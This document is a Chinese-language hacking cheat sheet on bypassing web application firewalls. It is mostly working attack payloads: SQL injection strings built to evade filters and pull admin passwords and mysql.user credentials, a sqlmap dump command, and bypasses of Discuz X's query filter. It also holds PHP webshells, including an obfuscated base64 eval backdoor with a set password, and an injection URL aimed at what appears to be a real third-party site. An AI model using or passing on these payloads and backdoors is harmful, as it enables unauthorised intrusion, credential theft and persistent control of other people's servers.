那些年我们绕过的waf
当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。手工测试测试吧!!
简单的waf绕过
0x01,测试:
1,id=1空格 测试空格
2,id=1%201=1 测试等号
3,id=1%201=1 select 测试select
4,id=1%201=1 union select 测试union
5,id=1%201=1 union * select from 测试from
0x02,简单绕过and or :
select.1.+1.+++.1.from
and 1=1 添加` xor 1=1
and 1=1 添加` xor 1=2
and%27%cf%27=%27%cf%27
0x03,过狗的一句话 :
<?php
$data = $_POST['cmd'];
eval($data);
?>
<?php
$mysql="a"."s"."s"."e"."r"." "."t";
$mysql1=str_replace(" ","","$mysql");
$mysql1=($_POST[sec]);
?>
<?php
$qelr="JGM9J2NvdW50JzskYTys0kXys0NPT0tJRTtpZihyZXNldCgyskysYSk9PSdjYycgysJiysYgysJG";
$tiww="JlyscGxhY2UoYXJyysYXkoJy9bXlx3PVysxzXS8nLCcvXHMvJyksysIGFysycmF5ysKCcnLCcrJyysksI";
$ywhw = str_replace("ed","","edsedtedr_edredepedledacede");
$btmo="GpvaW4oYXJyYXlfc2xpY2ysUoJysGEsJGMoJGEpLTMpKSkyspKTtlY2hvICc8ysLycuJGsuysJz4nO3ys0=";
$rwux="MoJGEpPjMpeyRrPSdhdic7ZWNobyAnPCcuJGsuJz4ysnO2V2ysYWwoYmFzZTY0Xys2RlY29kZShwyscysmVnX3";
$ylqo = $ywhw("q", "", "bqasqeq6q4_qdqecoqde");
$kqly = $ywhw("p","","cprpeatpep_pfupnpcptiopn");
$hyiw = $kqly('', $ylqo($ywhw("ys", "", $qelr.$rwux.$tiww.$btmo))); $hyiw();
#密码:ccav
?>
<?php
$item['ad'] = '$_G';
$t['a'] = "ET['func']";
$a = $item['ad'].$t['a'];
$c['a'] = '$_G';
$c['b'] = "ET['url']";
$c = $c['a'].$c['b'];
$items['ad'] = 'co';
$ts['a'] = "py($c,$a);";
$b = $items['ad'].$ts['a'];
@eval($b);
?>
0x04,过狗,waf的一些奇葩姿势 :
* burp抓包,修改:filename=webshell.(空格)php
* GET /index.php?id=1 and 1=1 改成:POST /index.php?id=1 and 1=1
0x05,比较旧的过狗,waf的姿势 :
/| – |/
/!50XXX/
/!/
and使用a%n%d来替换
空格使用/**/来替换
from打乱,就是类似f%u0072om
常用的:
id=1/*!50001union/*!*//*50000select/*!*/1,2,3
id=-1 union%23%0aall select 1,2,3
id=1%00' union select 1,2,3 from user --a
id=1 union%23%0aall select 2,username,3/*%00*//*!50001from*/user
id=100 union/*&id=*/--+-%0aall select/*&id=*/1,password,2 as [/*] from [admin] --a*/
id=100 union/*,*/--+-%0aall select/*,*/1,password,2 as [/*] from [admin] --a*/
id-100/*!50000union/*!*//*!50000select/*!*/1,2,3,4,current_user,6,7,8,9,10,11,12,13,14,15,16,17
以上的这些提交的方式都可以GET,POST尝试提交绕过。
0x06,基本的过waf,狗的方法:
select.1.+1.+++.1.from
and 1=1 添加` xor 1=1
and 1=1 添加` xor 1=2
and%27%cf%27=%27%cf%27
and`id` = 4 没有空格and后面,爆字段
uNiOn ( select 1,SCHEMA(),3,4,5,6,7,md5('admin') )
AnD 1=1
SelEct uNION 1,2,3. fROm admin
mysql种注释方法有一下几种:
1./**/ 注释内部内容,常用
2. -- 注释就是一行,不常用
3.# 注释后面全部,不常用
还有//,+–+ ,–+, – -, ;%00
我们简单的分析下:
/!/一个嵌套这个是,!是非的意思,就是说不屏蔽这个字符!and =不屏蔽and使and继续执行
/!/!*/双重嵌套,我说了!是非的意思,这句代码不是傻逼都可以看出来了
/!1=2/**//这个是1<>2然后后面的/*/没卵用,但是把这个删除就绕过不了了,最后的/是闭合前面的/*
当然还有其他的姿势:
127.0.0.1/sql.php?id=7/**/and/**/1=1
127.0.0.1/sql.php?id=7/*?--?*/and/**/1=1
127.0.0.1/sql.php?id=7/*%20--%20*/and/**/1=1
127.0.0.1/sql.php?id=7/*|%20--%20|*/and/**/1=1
结合前面两种方法:
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
?id=1 union select pass from admin limit 1
?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
‘e’ => ‘%u0065’, //这是他的Unicode 编码
?id=1 union select pass from admin limit 1
?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
id=1%00' union select 1,2,3 from user --a
id=1 UNunionion all SESELECTECT from admin
id=1%00' union select 1,2,3 from user --a
id=1 union/*&id=*/select
这样结合起来就是
1 union /*,*/select
id=1137 union select 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&id=12&id=13&id=14&id=15&id=16&id=17&id=18&id=19&id=20&id=21&id=22
id=1137 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22
?id=1+OR+0x50=0x50
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,
比如是admin,然后mid(上一句),1,1就是取admin的第一个字符,也就是a,
lower(上一句)就是把字符转换为小写,然后ascii就是把a转换成ascii码,看等不等于74。
id=-1 union%23%0aselect 1,2,3
id=1 union%23%0aall select 2,username,3/*%00*//*!50001from*/user
?id=1 union select+1,2,3+from+users+where+id=1--
?id=1 union select+1&id=2,3+from+users+where+id=1--
?id=1&id=1 union select+1,2,3+from+users+where+id=1--
?id=1 union select.1.+1.+++.1.from
?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0x42也就是B,
那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and和or了。
15,用(),其中,””用于表和列,”()”用于数值也可以做分隔.
http://www.waitalone.cn/shownews.asp?id=%28-575%29UNION%20SE%LECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18%20from[admin]
id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
id=1/*!UnIoN*/SeLeCT
0x06,高级的过waf,狗的方法
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.site.com/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
假如你发现WAF会把”*”替换为空,那么你就可以利用这一特性来进行绕过
http://www.example.com/index.php?page=-15+uni*on+sel*ect+1,2,3,4..
其它方法:
-15+(uNioN)+(sElECt)….
-15+(uNioN+SeleCT)+…
-15+(UnI)(oN)+(SeL)(ecT)+….
-15+union (select 1,2,3,4…)
除此之外还有:
http://ebidding.sinopec.com:8880/TPWeb4AAA/Showinfo/SearchResult.aspx?&searchtype=title&keyword=1' exec('selec'%2b't convert(int,(@@version))')select name orderNum,name InfoDate,name PubInWebDate from[sysobjects]where'1'='
0x07,一些比较常见的waf
sqlmap.py -u http://www.xx.com/shangmao/artmore.asp --cookie "id=48514" --level 2 -D database() -T tables() -C "adminname,adminpass" --dump --threads=10 --tamper=charunicodeencode.py -v 2
http://127.0.0.1/sql.php?id=1/*!/*!and*//*!1=2/**/*/
http://127.0.0.1/sql.php?id=7/*|%20--%20|*/and/**/1=1
小马
<title>login</title>nono<?php eval($_POST[1])?>
<?php $a = str_replace(x,”",”axsxxsxexrxxt”); $a($_POST["c"]); ?>
0x08,一些系统平台的绕过
针对disucz x内置_do_query_safe()的绕过
gid=1 and 1=2 union select 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user 拦截
gid=1 and 1=2 union /!50000select/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user 绕过disucz x2.0
gid=@'
union select @'
,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user 绕过disucz x2.5
gid='
or @''
union select 1 from (select count(),concat((select database()),floor(rand(0)2))a from information_schema.tables group by a)b where @'
绕过
disucz x2.5 二次修补
/!30000union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from information_schema
.schemata limit 10,1),null,null,null,null/–
list.php?yw=bj&id=3&id=1 /!30000union all select (select concat(0x27,uid,0x5e,username,0x5e,password,0x5e,email,0x5e,salt,0x27) from gs_ucenter
.uc_members limit 0,1) ,null,null,null,null/–
0x09,一些过waf,狗实战
newsid=60+a%nd%201=(se%lect%20@@VERSION)–
newsid=60+a%nd%201=(se%lect%20@@servername)–
newsid=60+a%nd 1=(se%lect name f%rom mas%ter.dbo.sysd%atabases wh%ere dbid=1)–
newsid=60+a%nd (se%lect t%o%p 1 name f%rom pedaohang.d%b%o.s%ys%obje%cts where xtype=’U’ a%nd name not in (se%lect top 1 name fr%om gpbctv.dbo.sysobjects wh%ere xtype=’U’))>0–
newsid=60+a%nd (se%lect t%o%p 1 col_name(object_id(‘Art_Admin’),1) f%rom sysobjects)>0–
newsid=60+a%nd (se%lect t%o%p 1 pass fr%om Art_Admin where pass not in (se%lect t%o%p 1 pass fr%om Art_Admin))>0–
以后会继续补充,谢谢!!